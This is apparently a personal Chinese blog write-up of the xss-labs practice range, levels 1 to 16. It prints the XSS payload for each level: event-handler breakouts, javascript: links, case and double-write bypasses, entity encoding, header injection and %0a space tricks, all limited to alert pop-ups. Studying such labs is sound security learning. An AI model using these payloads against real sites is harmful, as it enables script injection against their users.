background:

昨天看了下网鼎杯 自己挺菜的 没做出来啥题 我一直也没想着往ctf方面深入 学了点简单无脑的东西 知识储备量也不够 ctf这玩意 知识储备很重要 这一两年也算是在一线rt的队伍里(小地方) rt打到现在我不想打了 感觉学不到上面东西 无非就是那点东西 信息搜集 打点 隧道 横向

用着别人的day 自己真的任何提升都没有 目前我的所有事情已经告一段落了 升学的事情基本是稳了的 今天早上本来是想打算过一遍ruoyi的 想多学学实战的东西 前段时间是计划着过红日靶场 我做完了1 感觉其实真的没啥大的提升 脚本小子罢了 百度看看了下xss的教程 看到t4哥的先知了 他真的好厉害啊 ciscn总决赛的题都参考了他的文章(也可能是同时发现的) 既然rt不想搞 只能搞ctf了 升本之后有大把的时间 包括现在我还有大半年 加油吧 希望能在知识上有所提高

先从xss-lab看起

docker没了真的蛋疼啊 最后搞了个hk的机子

xss-lab

镜像vulfocus/xss-labs

用这个经典的靶场

image-20241101103845743

level1 直接打

直接弹窗

http://8.210.90.129:20000/level1.php?name=<script>alert('1')</script>
level2 闭合

搞不懂了 这不是不解析吗 但是这里又没实体化编码 我闭合前面的h2好像不行

image-20241101104240465

看了wp 回显点搞错了

image-20241101104717748

http://8.210.90.129:20000/level2.php?keyword="><script>alert('1')</script>&submit=搜索
level3 事件

这里都实体化编码输出了呀

image-20241101105151167

看wp 确实都实体化编码了 这里可以使用事件来弹窗 这里的事件都不是自动的 需要点击才能触发

onfocus和onclick区别上就是alert要不要打引号(目前看来)

prompt方法用于显示可提示用户进行输入的对话框

这里闭合后面的东西就行了(不闭合也行)

'onfocus=javascript:alert('xss')//
'onfocus=alert('xss')//

'onclick='alert(1)'//
'onclick='javascript:alert(1)'//

'oNmOuSeOvEr=prompt(1)//
level4 事件

和上面一样的 换个闭合方式即可

"onfocus=alert('xss')//
level5 href

事件都进行了过滤

image-20241101130207199

script也不能用

image-20241101130433905

使用href标签直接调用alert

"><a href=javascript:alert(1)>111</a>
level6 大小写绕过

成功闭合 有洞

image-20241101130820449

使用大小写可以绕过

"><scRipt>alert('1')</script>
level7 双写绕过
"><scRiscRiptpt>alert('1')</scriscRiptpt>
level8 unicode编码绕过

这里友情连接 会跳转 很明显是href 直接弹窗 使用Unicode编码即可绕过限制

javascript:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
level9 注释绕过

这里检测了地址是否合法 其实就是判断你提交的东西里面有没有http:// 直接注释掉就行了

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
level10 隐藏参数与加框

这里正常打是没漏洞的 存在漏洞的参数没给我们输入框

用arjun可以探测到 这里感觉蛮符合实战场景的

image-20241101135213728

闭合之后这里触发不了

"onfocus=alert('xss')

这里需要自己加一个框框进去

"onfocus=alert('xss') type="text"
level11 Referer

这里正常的参数都没问题 漏洞点在Referer处 在http头里打

"onfocus=alert('xss') type="text"
level12 User-Agent

放User-Agent上打

"onfocus=alert('xss') type="text"

放cookie上打

user="onfocus=alert('xss') type="text"
level14 exif

这里环境有问题 不能进行复现 其实就是把payload放到图片文件的标题里面打

https://www.freebuf.com/articles/web/282983.html

level15 文件包含

这里一上来看不懂 后面知道是文件包含

image-20241101150519969

看wp后我有点蒙住了 直接包含啊?还能传参 那不是还能rce? 后面看了网络请求 都是本地发起的罢了 还有这里只能读同一个域名下面

image-20241101150922686

直接读第一关 套个事件标签就行了

<a href=javascript:alert(1)>111</a>'
<img src=level15.png onmouseover=alert()>'
level16 url编码绕过空格

这里过滤了/ 使用%0a可代替空格

<svg%0Aonload=alert(1)>
<img%0Asrc=1%0Aonerror=alert(1)>

后面的题都需要flash支持了 就没看了

各种bypass参考

https://blog.csdn.net/LYJ20010728/article/details/116462782